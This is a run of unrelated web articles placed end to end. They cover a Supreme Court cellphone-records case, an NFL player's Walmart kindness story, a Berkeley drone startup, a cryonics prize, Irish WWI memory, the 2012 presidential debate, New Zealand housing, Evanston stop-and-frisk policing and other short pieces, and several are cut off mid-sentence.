"The third-party doctrine does not turn on what information the government acquires and how sensitive that information is, but rather on how the government acquires the information," the brief says. "Seeking information about a suspect from a third-party witness does not amount to a Fourth Amendment search of that suspect, no matter how revealing or incriminating the evidence may be."
If that is right, the companies are reluctant witnesses.
Leading technology companies including Apple, Facebook and Microsoft ask the court to "refine" its Fourth Amendment doctrine to recognize that "in the evolving digital era, where such data is disclosed to or collected by service providers to provide technologies that are increasingly integrated into daily life, people reasonably expect that their data will be stored securely and remain private."
While the technology companies take no position on Carpenter's case, several organizations say the court should use it to curtail the government's access to the records.
The "sweeping implication" of the government's argument is troubling, said a brief filed by the Electronic Privacy Information Center and three dozen technology and legal experts. "Sensitive personal data — photos, emails, location information, or otherwise — does not become less private simply because a cell phone user entrusts that information to a communications service provider."
Former Maryland attorney general Stephen H. Sachs, who argued and won Smith v. Maryland in 1979, said the precedent has outlived its value.
"When the Supreme Court decided Smith, in the pre-dawn of the digital age, we didn't know about the Internet, smartphones, cloud computing, Facebook or Twitter," Sachs wrote this week in The Washington Post. "No one involved in the case could foresee the digital revolution that was to come."
There are indications those advocating a change will find a receptive audience.
In the GPS case decided in 2012, Justice Sonia Sotomayor wrote that cellphone records provide a "comprehensive record of a person's public movements that reflects a wealth of detail about her familial, political, professional, religious, and sexual associations."
Justice Samuel A. Alito Jr. noted the increasing use of closed-circuit television monitoring, devices that allow cars to whiz through toll plazas, tracking devices installed in case a vehicle is stolen and the GPS function of cellphones.
"The availability and use of these and other new devices will continue to shape the average person's expectations about the privacy of his or her daily movements," he wrote.
And in the court's 2014 ruling on searches of cellphones, Roberts announced that the future had arrived.
Cellphones "are now such a pervasive and insistent part of daily life that the proverbial visitor from Mars might conclude they were an important feature of human anatomy," the chief justice wrote.
The case is Carpenter v. U.S.A few days after Christmas, Miami Dolphins free safety Walt Aikens was relaxing at his home when his apartment's front desk man called, struggling to explain a strange package that had just been left in his name.
Curious, Aikens headed downstairs to retrieve the mysterious parcel. The package, decorated in Christmas ribbons and bows, was "from some lady at Walmart," the front desk man haltingly explained Monday afternoon.
"Then it hit me," Aikens told TheBlaze in an interview later that day.
Miami Dolphins safety Walt Aikens. (Image via Facebook/Walt Aikens)
Only a couple of days prior, on Christmas Eve, Aikens went to the retail superstore for wrapping paper and other supplies. Instead of grabbing a shopping cart, Aikens said he was "being the macho man that I am" and tried to carry everything in his arms.
It was while he was waiting in a long holiday line that an elderly woman offered him her cart as she saw that he was struggling to balance all of his items. At first Aikens refused, but when she asked again, a few minutes later as he was still struggling, he relented.
"This time I accepted because the line was moving nowhere near as fast as it was when I had first gotten in line," Aikens said. "I was very thankful and appreciated her generosity."
Aikens said he noticed her cart was filled with chocolate chips, cake batter, sprinkles and baby clothes, and the 24-year-old inferred that she was going to bake Christmas cookies for her grandchildren. As it was Christmas — and in spite of the woman's protestations — Aikens paid for the woman's items along with his own.
He told TheBlaze that the woman simply asked for his address in return, having no idea that he was a professional athlete, and promised to send him cookies as she said no one had ever been that nice to her — "especially in Florida" — before.
Surprising Aikens, the woman at the store kept true to her promise and had a box of homemade baked goods delivered to him.
Image provided to TheBlaze
"I'm not sure if you remember me," the woman's card to Aikens began.
"I just wanted to tell you again, thank you so much. Your mom I'm sure is very proud of you," she wrote. "Not only are you a professional football player for the Miami Dolphins, but most of all, a wonderful kind person, too."
Image provided to TheBlaze
"Today when I got this package of cookies and cakes and other treats hand delivered from the lady, it caught me off-guard and showed me that manners and being kind to others can go a long way. This really made my day because I had forgotten about her saying she was gong to send me cookies," Aikens said. "Honestly, I was just being nice and did not expect any favors in return because treating people the right way is just how my parents raised me. Also, I did not tell the woman I played professional football or anything, so she was just being nice to a complete stranger and cared enough to uphold her side of the bargain and carry out what she would do."
Aikens said he wanted to thank the woman and her husband "for being so thoughtful."
"I hope you and your family had a Merry Christmas and have a Happy New Year," he said.
Aikens was drafted by the Dolphins in 2014 after playing for Liberty University.
—This post is the first in a series of business stories brought to you by WeWork Berkeley.
At WeWork Berkeley, there’s an office decorated with empty beer steins, and another occupied by a massive beanbag chair. In yet another, mannequins sport colorful bridesmaid dresses. But Queen B Robotics still manages to make their workspace stand out.
“Most of the time it looks like a mad scientist’s lab,” says founder Chris Blower. There are wires and pliers covering the desks, and five spider-like drones wait, ready for flight, in a corner.
You wouldn’t know it, but merely a year ago Queen B was barely even a larva. Blower was in Washington, D.C., finishing up a PhD in unmanned aerial vehicles at The George Washington University. The lifelong aviation lover (“Put me in an airplane and fly me around in circles all day and I’m happy,”), he was particularly fascinated by the rapidly burgeoning drone industry. Eyeing the activity in Silicon Valley, Blower decided to move across the country and get into the game himself.
Queen B was born shortly after, and now has three full-time employees with a fourth coming on board soon. The company develops software that allows a fleet — or a “swarm” controlled by one human queen bee, hence the name — of drones to communicate with one another. The idea is that when companies like Amazon send hundreds of vehicles up into the air, they won’t collide, and they will be able to self-adjust their pathways by detecting the locations of other drones.
The team has a functioning prototype and has started some flight tests. Theirs is a “plug-and-play” model, meaning the hardware can be connected to any drone made by 3D Robotics, one of the biggest drone manufacturers, which is located not far from Queen B, in West Berkeley. The product will be in beta by the middle of September.
Queen B is moving quickly, as it needs to if predictions prove accurate. While the Federal Aviation Administration works out rules for commercial drone use, the commercial sector is plotting to take advantage of all that open airspace when they can. So when will the skies become crowded enough for collisions to truly be a risk? “We’ll see it becoming more of a reality in six to nine months,” Blower predicts. Business Insider recently predicted a 19% growth in drones by 2020.
Blower and team know that many people view the rise of drones with trepidation, if not outright fear. Part of Queen B’s mission is to combat that perception.
“We can make drones have a better reputation and be a lot safer,” Blower promises.
After collision prevention, the next task is to get the drones to work collaboratively. Blower envisions a swarm of communicative drones completing a search-and-rescue mission in a fraction of the time and cost that one helicopter would take to do the same. Likewise with data acquisition. Here, the communication network developed by Queen B will come in handy, Blower said. The drones won’t have to be programmed individually because they will be able to divide up the land to cover.
Blower cryptically says he is “in talks” with potential clients who are excited about Queen B’s work. Some of them work alongside the team at the downtown Berkeley branch of WeWork, the international network of coworking spaces. [Berkeleyside has its office at WeWork.]
The coworking set-up has been ideal for the team, which grew one by one after Blower rented a four-person office. The engineers are self-admitted workaholics who clock 12- to 14-hour days. The glass walls allow them to see the light of day and they enjoy the social contact with their fellow WeWork occupants, who range from programmers to lawyers and a life coach.
The room-full of robots certainly attracts the most curious of the coworking folk. In addition to the heavy-duty drones (they run tests without the propellers so as not to annoy their neighbors), Queen B is in possession of a Styrofoam toy drone. It won’t perform a search and rescue, but collisions are luckily not much of a concern when the engineers fly it around the room for laughs.
This story is written and sponsored by WeWork Berkeley, a community of professionals and entrepreneurs with beautifully designed office space at Shattuck and University. Interested in learning more about WeWork? Contact the Community Management team at berkeley@wework.com or 510-275-4235Photo: Possumgirl2/Flickr
A big thing just happened in the world of cryonics, and it has nothing to do with Ted Williams' permafrozen remains.
Officials from the Brain Preservation Foundation, a nonprofit that funds brain preservation research, just awarded its five-year old "Small Mammal Brain Preservation Prize" to 21st Century Medicine.
In a recently published article in the journal Cryobiology, the team, lead by MIT graduate Robert McIntyre, announced it has cryonically frozen the brain of a small mammal and recovered it in near perfect condition. According to the Foundation's press release, "it is the first demonstration that near-perfect, long term structural preservation of an intact mammalian brain is achievable."
Scientists in the cryonics community have long sought better ways to preserve the collection of the brain's more than 86 billion neurons and the map of their synaptic connections. By preserving the brain's neural structure, it's hoped that long term memories can be recorded for later recovery or even uploaded to machines. The ultimate goal is to create a sort of medical time travel where an individual could store their identity so that future society may re-animate them once technologies have sufficiently advanced. It's basically the plot of the first 20 minutes of Austin Powers, but for real.
"The next step for cryonics research is to demonstrate these techniques work on larger animal brains"
The promise of such a technique has been out of reach to scientists since the chemical process of preservation has proven far too damaging for any brain's future revival. The challenge comes from today's standards of cryonics freezing, which according to officials at the foundation, causes massive dehydration in the brain, squashing the neural connections and rendering it useless for imaging. That's why 21st Century Medicine's achievement is so exciting.
McIntyre's team reportedly demonstrated the ability to cryonically preserve the neural connections inside an intact rabbit brain, and fully thaw the thing back. The approach used what's called an "Aldehyde-Stabilized Cryopreservation" protocol, meaning the researchers dispersed a collection of chemicals through the vascular system of the brain which fixes the neurons in place, then converted it to a glasslike object by cooling it to -210 degrees F (-130 C) for long term storage. Later, the brain was rewarmed and the cryoprotectant chemicals were removed.
Judges at the Brain Preservation Foundation then used traditional electron microscopy to image hundreds of brain regions to ensure that the synaptic connections in the rabbit brain remained undamaged.
"Every neuron and synapse looks beautifully preserved across the entire brain," Kenneth Hayworth, president of the Foundation and a prize judge, said in the announcement. "Simply amazing given that I held in my hand this very same brain when it was frozen solid."
"This is a big deal," John Smart, co-founder of the Brain Preservation Foundation, told Motherboard. "It's the first time that we have a procedure that can protect everything neuroscientists think is involved with learning and memory. Given the results announced today, it seems to me that long-term memories are successfully preserved by this technique. This is not yet certain or universally agreed, but seems highly likely from my position."
The small brain challenge had two submissions. The other was from Shawn Mikula from the Max Planck Institute of Neurobiology in Germany, who also submitted a promising candidate to the small brain challenge. His approach used a form of plastination, a way of turning the brain into a plastic-like block, so that it could be preserved at room temperature.
The promise of a deathless future at the heart of cryonics research presumes that immortality may be achieved by uploading our neural structures into machines. The technologies are advancing toward a world where we might see communities of future-people living inside their computers. It is still unclear, however, if memory preservation reaches far enough into the realms of personality to preserve the "who you really are" aspects of a person.
This diagram shows the reservoirs of CPA (cryoprotectant solution) and FIX (fixative solution) connected by a pump to the rabbit brain. Image: McIntyre et. al.
"As to knowing that these techniques capture 'the rest of the person' including personality and consciousness: We will get there, but more slowly," Smart said. "Consciousness is still not definitively understood in neuroscience, though neuroscientists are beginning to offer promising materialist models."
At this point, if someone preserves the neurons in their brain, there's no guarantee that it's enough to preserve their "soul," whatever that may end up meaning.
The next step for cryonics research is to demonstrate these techniques work on larger animal brains, and so the Foundation has an unclaimed prize out for the first team who can preserve a pig brain, or one with similar size. That breakthrough may not be far off, as 21st Century Medicine has already submitted a candidate that is now under review. It's the only one to submit so far to the larger brain challenge.
The weirdness |
was first broadcast in 2005. Taewon Entertainment, which previously produced “Iris,” will be working with CJ E&M drama production company Studio Dragon in order to produce this drama.
Are you excited for the upcoming remake?
Source (1) (2)It’s been nearly two weeks now since Bill O’Reilly’s interview with President Obama on Super Bowl Sunday, and in the No Spin Zone of the host’s pretend world he’s still spinning the chat as the greatest conversation since Winston Churchill dined alone.
His sit-down with the president, he said, “is going to go down in journalistic history as what should be done.” And in case historians are late to the same conclusion, O’Reilly is auctioning off the notes of his questions — “they are obviously one of a kind,” he says.
Let us now praise the Bombastic One’s gift to posterity. His interview, his notes, all the ephemera should be preserved and studied. The sickness that infects news and politics, and its commensurate cynicism, can be directly traced to the creation of Fox News — “a political operation that employs journalists,” in the words of Gabriel Sherman, author of the new book on Roger Ailes, “The Loudest Voice in the Room.” There is no bigger media story in the last 50 years than the creation of a news network run by political hacks, says Sherman. I’m inclined to agree.
But just as important, civility itself took a dive with the rise of Fox, and has never recovered. The shouters, the boasters, the haters who show up at town hall meetings or pollute the Web with dark fantasies get their behavioral cues from Fox. O’Reilly is famous for telling guests to “shut up,” for cutting off people he disagrees with, for smugly praising his own performances and bringing on sycophants to do the same. By comparison, Ron Burgundy is a model of humility.Darrelle Revis trade talk is all the rage right now, as the New York Jets reportedly are shopping the star cornerback. The San Francisco 49ers, flush with 15 picks in April's draft and in need of a secondary upgrade, were rumored to be interested, but that now doesn't appear likely. Which team should make a run at Revis, and what price should it pay?
Ian Rapoport NFL Network
NFL Network Buccaneers have cap space and they need a cornerback The Tampa Bay Buccaneers made waves last year in free agency, signing a number of prominent players, including cornerback Eric Wright. The Bucs then drafted safety Mark Barron to beef up the back end even more. Yet still, they are searching for defensive backfield help a year later. Hello, Darrelle Revis.
Word is the Buccaneers are interested in bringing in a cornerback. They have cap space going forward, an up-and-coming team and a business-like approach where even a corner making more than everyone else wouldn't create problems in the locker room. Greg Schiano keeps them grounded.
Could it happen? It's so complicated that I'd be surprised at any team making a trade for Revis. But this is one of the few teams that could make it happen.
Gregg Rosenthal NFL.com
NFL.com Eagles could make another bold move for a top corner It would be delicious for the New England Patriots to grab Darrelle Revis, but that would never happen. The Miami Dolphins also have the cap space, but the Jets will never trade in the division.
Let's roll, then, with the Philadelphia Eagles. They aren't afraid to be bold and they're about to get Nnamdi Asomugha off the books. The Lions, Falcons, Buccaneers and Colts also make some sense, but the Eagles make the most sense as a team aggressive enough to pull off a deal -- and a contract -- this massive.
Adam Rank NFL.com
NFL.com Niners should pounce on Revis, like they did with Deion Sanders in 1994 Darrelle Revis would command a large bounty of draft picks if he were completely healthy, but not coming off a devastating knee injury. Even in our post-Adrian Peterson world, where a knee injury seems about as benign as the sniffles, Revis still carries a lot of risk. But if you're the San Francisco 49ers, what choice do you really have?
Ideally, you wouldn't want to give up too much for Revis, but what if he's the final piece? It's so easy to draw comparisons between this situation and Deion Sanders hitting San Francisco for one championship run in 1994. The 49ers probably would have to pay more than they like, but being this close to a Super Bowl title, they almost need to do it.I had almost forgotten what a shit Yeats could be. I don't mean his flirtation with Italian fascism, which Conor Cruise O'Brien first publicised; after all, Churchill was a bit enamoured of the younger Mussolini. And Yeats remains one of my favourite poets. No, what I am recalling – thanks to a wonderful book just published in Dublin – is his outrageous decision to expel the poetry of Wilfred Owen from the 1936 Oxford Book of Modern Verse.
"Passive suffering is not a theme for poetry," the great man intoned. And in a later letter, Yeats wrote: "When I omitted Owen, whom I consider unworthy of the poet's corner of a country newspaper, I did not know I was excluding a revered sandwich-board of the revolution... He is all blood, dirt and sucked sugar-stick... There is every excuse for him, but none for those who like him."
I am taken aghast by this arrogance. For here is Yeats, safe in his Irish retreat, spitting out the mud of the trenches in which up to 35,000 Irish soldiers died between 1914 and 1918, pissing on the young man who was shot by a sniper on the Ancre and who gave us the poetry which Benjamin Britten so memorably used in his magnificent War Requiem.
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Even when confronted by the death in action of his own friend – Major Robert Gregory, accidentally shot down by Italian guns in 1918 – Yeats's poem, the incredible "An Irish Airman Foresees His Death", manages to avoid Gregory's pro-British patriotism and imply that parochial loyalties ("My country is Kiltartan Cross/My countrymen Kiltartan's poor") led him to his death.
Our War: Ireland and the Great War, edited by John Horne and published by the Royal Irish Academy and RTE, the Irish state radio and television service, is the latest historical attempt to face up to those tens of thousands of young Irishmen who were fighting on the Western Front when a few hundred of their countrymen were rising up against the British in Dublin in 1916. Those long-dead soldiers were in the wrong uniform in the wrong war, fighting for the wrong country. Or so it was supposed when the survivors came home to a nation which was demanding independence and freedom from the forces of the crown.
In a series of essays, the authors of Our War – originally Thomas Davis lectures (an excellent Irish equivalent of the Reith lectures in Britain) – show just how much the Great War affected Ireland. Even in 1924, after independence, 70,000 Irish men and women were in the streets of Dublin for Remembrance Sunday and those who were deprived of British pensions paid, literally, for their former patriotism to the King.
When Nurse Emily Harris wrote to him from Kingstown (now Dun Laoghaire in County Dublin) in 1926 – "it was Your Majesty's loyal subject's delight and privilege as a daughter of the British Empire during the late Great War to serve as an officer in Your Majesty's Army'' – and pleaded for help in her post-war poverty, Downing Street briskly sent her letter on to the Taoiseach's department in Dublin. "I should be glad if, in any reply sent to Miss Harris, it may be made clear that her letter was, by His Majesty's command, referred to the Government of the Irish Free State," it stated. When Margaret Freeman wrote from Phibsboro in Dublin, appealing to the Irish government for a pension for her 1914-18 ex-soldier husband, she received a tart reply from the Taoiseach's office. "I am to... state that the question of an award of pension in respect of service in the World War of 1914-1918 would not be a matter for the Government of Ireland." Nurse Harris, by the way, was forced to sell all her possessions – "and your loyal subject's heart is broken" – to survive.
Unlike the Brits, Irishmen came home to a country that was at war. Stones were thrown at them in the streets. Military medals were hidden away. The Lutyens war memorial was allowed to decay, overgrown and ignored until recent years. The 16th and 36th Divisions returned from the blood of the Somme, the first to be forgotten in post-war Dublin, the second to be remembered for ever as Protestant Ulster's sacrifice for Britain.
Conscription was never attempted in Ireland and the massive loss of Irish life was one of the principal reasons Eamon de Valera ensured that the Irish Free State, as it was then called, remained neutral through the Second World War. Having written my PhD thesis on Irish neutrality, I have to say that I think Dev was right. Ireland might have suffered another civil war, although the propaganda which the British used against Dublin at this time has stuck like old mud on a new shoe.
I was brought up on tales of German U-boats skulking around Irish ports to receive fuel from anti-British villagers. But I spent three months visiting every village on the Irish west coast and researching the Irish Coastwatching service archives and I can attest that no U-boat – ever – put in to an Irish port. Just one man in Kerry told me that as a child, he gave food to a U-boat crew in Brandon Creek; and a story that a U-boat captain surfaced off Dingle town with a shipwrecked Greek crew because he knew the mayor of Dingle was also false. I know this because when I first wrote about the incident, the elderly Kriegsmarine submariner actually sent me a letter to say that he had rescued the crew (of a ship called the Diamantes) but never knew the mayor of Dingle.
Of course, by the Second World War, Ireland was isolated, watching the shadows on the wall of Plato's cave, receiving the decaying corpses from the Battle of the Atlantic, trying to forget the greatest blood sacrifice of 1916 – on the Somme rather than in Dublin. Our War will go a long way to recall the tide of Irish blood that drifted ashore at Gallipoli and broke the hearts of more than just Nurse Harris. Every Englishman and woman should read it.
We’ll tell you what’s true. You can form your own view.
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Subscribe nowThe current anti-Israeli feeling in Europe has led to manufacturers and retailers opting for non-Israeli products and produce as more importers decide not to buy goods from a state that treats the United Nations and human rights law with such contempt.
Up to now, the EU has been Israel’s primary, bilateral trading partner but the political climate has radically changed in recent months as Europe loses patience with the Netanyahu government and its all too obvious moves to prevent the establishment of a Palestinian state. The EU urgently wants a settlement to the Palestinian conflict but now sees that the current right-wing, Israeli administration of Binyamin Netanyahu is not, and never will be, a partner for peace.
If the EU Commission decides to abrogate the Association Agreement with Israel, as now looks possible, then the Israeli economy is likely to be very severely dented indeed whether Mr Netanyahu finds replacement orders in the Far East or not. But for the EU, a settlement to the conflict is the highest priority.A subdued and sometimes listless performance from President Obama may have given Mitt Romney the opening he needed to reshape the battle for the White House on Wednesday night.
Romney delivered a vivid and strong showing in Denver for the first of the three presidential debates. But Obama’s weakness was just as notable. His night was virtually devoid of memorable lines and at times his responses meandered.
Obama was also strikingly reluctant to take the fight to his challenger, at no time mentioning Romney’s controversial comments about “47 percent” of Americans who the former Massachusetts governor said thought of themselves as “victims” in a covertly-filmed speech that emerged last month.
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Obama also sought to find common ground between the two men at times, at one point noting that he and his challenger had “a somewhat similar position” on Social Security.In the aftermath, even liberal and Democratic commentators acknowledged that Romney had the better night.On CNN, Democratic strategist James Carville said: “I had one overwhelming impression. I did everything I could not to reach it, but it looked like Romney wanted to be there and President Obama didn't want to be there.... Obama gave me the impression that the whole thing was kind of a lot of trouble.”
Bill Maher, the liberal TV talk show host — and a big donor to the Obama-supporting super-PAC Priorities USA — said on Twitter that he believed Romney had won the debate, even though he argued that Obama “had the facts on his side.”Maher also criticized the performance of the debate’s moderator, Jim Lehrer of PBS, as did many liberal commentators. But those complaints seemed akin to those of the cornermen for a losing boxer who protest about the referee.Romney rocked Obama with several verbal punches. He referred to Obama’s overall worldview as one that put chimeric faith in “trickle-down government,” which Romney said is “not the right answer for America.”The Republican also invoked a comment made by Vice President Biden earlier this week — though Romney did not mention Biden’s name — in telling Obama that middle-income Americans had been "buried" and "crushed” during the president’s first term.Romney fought back against Team Obama’s portrayal of him as an out-of-touch plutocrat.He repeatedly insisted that, though he favored cutting tax rates, he did not wish to reduce the overall share of tax revenue contributed by upper-income Americans.Romney’s performance seemed testament to the value of exhaustive preparation — and a lot of recent practice. The former Massachusetts governor’s skills were sharpened by the 19 multi-candidate debates in which he participated during his pursuit of the Republican Party’s presidential nomination. He also spent several days in the lead-up to event locked in debate prep with his advisers.By contrast, Obama resembled the unexceptional debater that he sometimes appeared to be during his 2008 Democratic primary encounters with then-Sen.The question is just how much of an impact Romney’s forceful performance — and Obama’s enervated one — will have. More than 52 million people watched the first debate between then-Sen. Obama and Sen.(R-Ariz.) for years ago. At least that number was projected to be watching Wednesday night.However, there is considerable evidence that presidential debates tend to have a relatively modest impact on elections. And, in this year’s race, many polls have shown an even higher number of voters than usual apparently already locked into one camp or the other.A statistical analysis by Nate Silver on his FiveThirtyEight blog earlier Wednesday suggested that challengers since 1976 have, on average, gained about 1.5 percentage points against an incumbent or member of the incumbent party after the first presidential debate.But Romney’ supporters will note there have been some examples of a debate having a much greater impact, such as in 1980 and 2004, when Ronald Reagan andrespectively got a boost of about 3 percentage points post-debate.A bump of that extent would effectively make the race a dead heat. In the Gallup tracking poll on Wednesday, Obama led Romney by 4 percentage points.In the wake of the debate, conservatives were gleeful. “Way, way, way over my expectations!” one Republican strategist exulted to The Hill immediately after the debate ended.Obama aides, meanwhile, sought to minimize the damage, acknowledging Romney’s impressive performance but trying to cast it as a matter of style rather than substance.“Gov. Romney has always been good on the attack. You saw that during the primaries," the president’s top campaign strategist, David Axelrold, told NBC’s Brian Williams moments after the debate ended. "What he’s not very good at is offering specifics.”
Axelrod swerved away from a question from Williams as to whether he was happy with Obama’s “energy level” and “demeanor.”
Neutral observers agreed that Romney had the better night.
“I think Gov. Romney won the debate on points. He was the more aggressive debater and was on the offensive for much of the night,” Aaron Kall, director of debate at the University of Michigan told The Hill. “I think President Obama was subdued and clearly playing defense. This was the equivalent of a prevent defense in football.”
“Romney did what he needed to do in this debate,” said professor David Lanoue of Columbus State University, who has written extensively about debates. “This was probably Romney’s best performance in eight years of debating.”
Obama, Lanoue added, “spent most of the time on the defensive, missed several opportunities to counterpunch, and seemed to pull his punches in some cases.”
The summary version of Wednesday night’s event was simple: Romney won.
The question the political world will now want answered is how much it matters.
— The Hill staff contributed to this report.Okay so I just finished reading the Reserve Bank’s report on the financial stability of New Zealand, and basically we are stuffed. Like honestly, right now I’m considering popping out to Pak’n’Save to buy canned goods in bulk.
Basically, the housing crisis has come off the boil in the last 6 months, partly due to changes in the rules around how much money banks can lend on mortgages. So that’s good. Disaster averted, we haven’t drowned: for now. But all the underlying structural problems that got us here are still around, and until we do something about those we will never be out of the woods on this one. And even if the price of housing tops out here, we will be feeling the effects of this housing bubble for years to come.
If you bought a house in the past year or two you won’t need me to tell you that if your income drops or mortgage interest rates rise you will be screwed. But the Reserve Bank handily worked out just how screwed people would be (severely screwed or mildly screwed) if interest rates went back to their usual levels (around 7%). And by severely screwed we mean having trouble paying for the groceries, and possibly default on your mortgage kind of screwed.
5% of those who bought since October 2016 would be severely screwed and another 7% would be mildly screwed. Of course, these numbers are worse for Auckland, because everything about the housing crisis is worse for Auckland. And if mortgage rates were to go up to 9% (which is higher than the usual for the past decade, but not out of the question) then 18% of recent borrowers would be severely screwed.
Okay, but how likely is it that everything goes to shit and interest rates go up dramatically?
Well, our banks depend on borrowing from Australian banks, and Australia’s housing market is even more broken than ours (and we all know that our housing market is a total shit storm). So we need for nothing to go bonkers in our housing market or Australia’s. The Aussie banks in turn depend on borrowing from global markets. So we also need nothing bad to happen anywhere in the world for the next few years. Which I’m sure will be fine because everything in Europe, the UK, and the USA is super stable right now.
The Reserve Bank also says there is a risk of a sharp correction in house prices – which is economist-speak for “house prices could drop by 20% at any moment, we’ve got no clue, your guess is as good as ours really.” And if that happens then recent buyers could end up owing more on their mortgage than their house is worth. This wouldn’t change your mortgage payments, so it doesn’t necessarily mean people would get kicked out of their homes, but there’s no doubt that it would really suck. Honestly, if you own a house with a huge mortgage, a box full of tinned baked beans could be an investment worth considering about now.
And renters, don’t think you are getting off easy. “Rent yields are near record lows,” says the Reserve Bank. Well, that sounds boring. And low is good right? Finally, something that isn’t at record highs! But what it actually means is get ready because rents are about to go up. A lot. Especially in Auckland, because bugger you Auckland. You all know what you’ve done.
But actually what have you done to deserve this? Yes, record migration levels mean Auckland is heaving with people looking for somewhere to live. Victims of your own success, Auckland. No one to blame but yourselves for your own awesomeness. Try to be a little less awesome, in future okay? Phew, housing crisis solved. You’re welcome.
Maybe not.
Underneath the headlines about migration and the slow construction of new homes there is an incredibly boring and kind of complicated explanation about how our tax system distorts investment decisions which is driving demand for housing. And I saw you stifle a yawn just now, but buckle it up sweetheart, because this shit is really important. Like, future of the country important.
We have a huge loophole around property in our tax system. Like this hole is the size of the ozone hole, people. $11 billion. What this means is that people can tuck their money away in housing and perfectly legally not pay tax. And that tax people aren’t paying is worth $11 billion. It’s a free ride for property owners. And if you hire a good tax lawyer, maybe you can actually make your tax bill go down by popping a few hundred grand into a house or some land. You don’t even need to rent it out if you can’t be bothered with all the hassle of, you know, tenants.
Until we sort out this unfair tax haven, all the other things we do won’t matter, because people will still want to tuck their money into a property somewhere, snugly away from the taxman.
Labour have proposed a change to the tax rules around negative gearing – but this will only deal to a tiny fraction of the problem. Less than 2% actually. Same with the Greens – they’re just tinkering. The Opportunities Party (TOP) is the only party with a plan to close the entire loophole around property. This will reduce demand for housing – people will only buy housing as a place to live or to earn income as a landlord, not as a way to avoid tax. House prices will begin to flatten, and eventually wages increases will catch up to make housing affordable again. It will take a few years, but by then our debt should be under control too. Basically, we still have a chance at getting out of mess – we can still sail our battered ship back to a safe harbour.
Changing the tax regime will also lead to more houses being built. At the moment there is almost no cost to owning an empty block of land. When this tax is introduced land bankers will have a greater financial incentive to piss or get off the pot. This will free up a lot more land for building more houses.
Look, the housing crisis is huge and it can feel terrifying when you look at the size of the problem that successive governments have created. But we can do something. We have a plan that is backed by high-quality, international evidence. That’s policy-speak for “it will actually work.”A federal judge's recent slap down of the New York City Police Department's'stop and frisk' policy has renewed debate about a practice seen by some as a great crime-fighting tool, and by others as an invitation to racial profiling.
In the midst of that debate, the Better Government Association (BGA) has found north suburban Evanston is more aggressively pushing its own version of stop and frisk.
Stop and frisk is a tactic that police departments have used for years, and it has many variations. The BGA set out recently to get an understanding of how local departments employ the practice. Not surprisingly, the BGA found that most of the departments it polled were not keen on talking specifics, with one notable exception: Evanston, which is promoting "the investigative stop."
Detectives Phil Lang and Mike Geyer are getting set to patrol Beat 77. Their eyes are trained - largely on people they know from previous arrests. They see one such young man who commits a traffic violation. One officer says they know the man is "involved in narcotics -- it's documented, so we're going to go ahead and initiate a stop."
Geyer notices the smell of pot in the car, and finds a marijuana pipe on the console. Reasonable suspicion now becomes probable cause. There is a pat-down. A search of the car does not produce any drugs. The detectives opt not to cite the driver.
Evanston police refer to this as an investigative stop. It is based on an officer's reasonable suspicion that a crime has occurred, or is about to occur. The tactic is not new, but Evanston now is making greater use of it.
"Basically, all it is we're doing is a little bit more of it and it's just a little more focused into an area because of some problems that we've had," said Evanston Police Commander Jay Parrott.
Those problems were two early summer middle-of-the-day shootings outside a community center and a school that police felt had to be addressed. Last month, during an investigative stop, detectives recovered a loaded revolver from a 16-year-old on a bike. It is too early for a statistical measure, but police believe the practice of more aggressive stops is working.
"Our presence being out here, visible, kind of acts as a deterrent and reduces the amount of violent crime or crime in general," said Geyer.
"From a good government standpoint, you have to give the Evanston police some credit because they came out and said, we're going to do it, and they've explained it to the community, and they're standing by it," said Bob Reed of the BGA.
The BGA review found that while a number of local police departments acknowledge using variations of stop and frisk, few are branding it like Evanston.
"That's great, but the real trick will be in the execution: How well do they do it? How good is the record keeping? What will be the community reaction as this process goes on even longer?" said Reed.
"There's a lot of data and research out there that shows that it hasn't been effective," said University of Chicago Law Professor Craig Futterman, who argues that stop and frisk tactics too often violate constitutional protections; that however well-intentioned, targeted policing frequently leads to racial profiling, and his studies suggest it breeds exactly what police do not want: alienation; no snitch.
"Young people who feel like: we're being targeted, we're being treated like criminals, don't trust police -- and you need that trust," said Futterman.
"No matter for any reason we stop somebody, we treat everyone the same; race is not an issue for us," said Detective Lang.
Part of selling this to the public means that when police make an investigative stop, they explain it to the person they are stopping, and then to a public that will want to see what the records reveal.
"We have to get the public involved, and the only way to get the public involved is to share with them how we do it," said Parrott.
Like any police tactic, this one is judged by its ability to reduce crime, but there are other aspects like public trust that are not as easily measured. That is why, as the BGA's Reed points out, and the judge in the New York City case ruled, detailed recordkeeping and robust public monitoring is critical. Evanston police say they are fully on board with that and believe it will work, and that it passes constitutional muster.Giving Beyond the Gift: Apophasis and Overcoming Theomania.
Obscurity, Apophasis, and the Critical Imagination: The Unsayable in Heart of Darkness.
Here then is the true glory of the arts--it is a medium that is in constant flux, a constant state of apophasis.
In 1960 he founded the first gallery in Cyprus, the Apophasis Gallery, with Christoforos Savva at a time when the country had just thrown off British rule and was trying to make a new start.
This is the rhetorical device of apophasis, in which the speaker or writer gives stealthy prominence to an idea by seeming to reject it.
He explains that evocative communication recurrently appears in mystical non-fictional writings, where it is classified into apophasis and kataphasis.
coercion and the rhetorical question through No-No Boy, apophasis and necessity through China Men, catachresis and error through BluAEs Hanging, and allegory and deceit through Native Speaker.
Despite her link between cosmic beginnings and the womb there and in her 2010 essay "Tangles of Unknowing," (70) her most recent work seeks an apophasis of gender, described as an unknowing and unsaying of gender and sexes, in order to embrace "the manifold," a position she calls "transfeminism.
Ha hecho escolios morales, y traducido el libro de Secretis secretorum de Aristoteles; La exhortacion a la constancia cristiana; La declamacion por la Providencia contra la Fortuna; La version de Eustacio en los sucesos de Ismenes; La jornada del Principe de Gales a Espana; El Apophasis de Protectoribus & Praepositis; ElDipthycon Toletanum; y muchas cosas en prosa y verso, como son la Primer semana, la Casa de campo de Madrid; pero, sobre todo, la Zeatropania Mystarum Hesperiae (31).
41) What is of most interest to me here, however, is that for Dionysius, as for the Christian tradition as a whole, apophasis always comes together with what Dionysius called cataphasis, the saying or naming of God.
Drawing here on ideas of apophasis in Pseudo-Dionysius, Lazenby focuses her attention on the failure or limits of artistic expression as represented through the character of Lily Briscoe in To the Lighthouse and Miss La Trobe in Between the Acts.David Millar says that it is technology, not performance enhancing drugs, that is now giving pro cyclists an edge over their rivals. In an interview conducted by former Rapha Condor rider Tom Southam and made available by the website Humans Invent, Millar speaks about the role of technology within the sport, with his Garmin-Sharp team being one of the leading innovators.
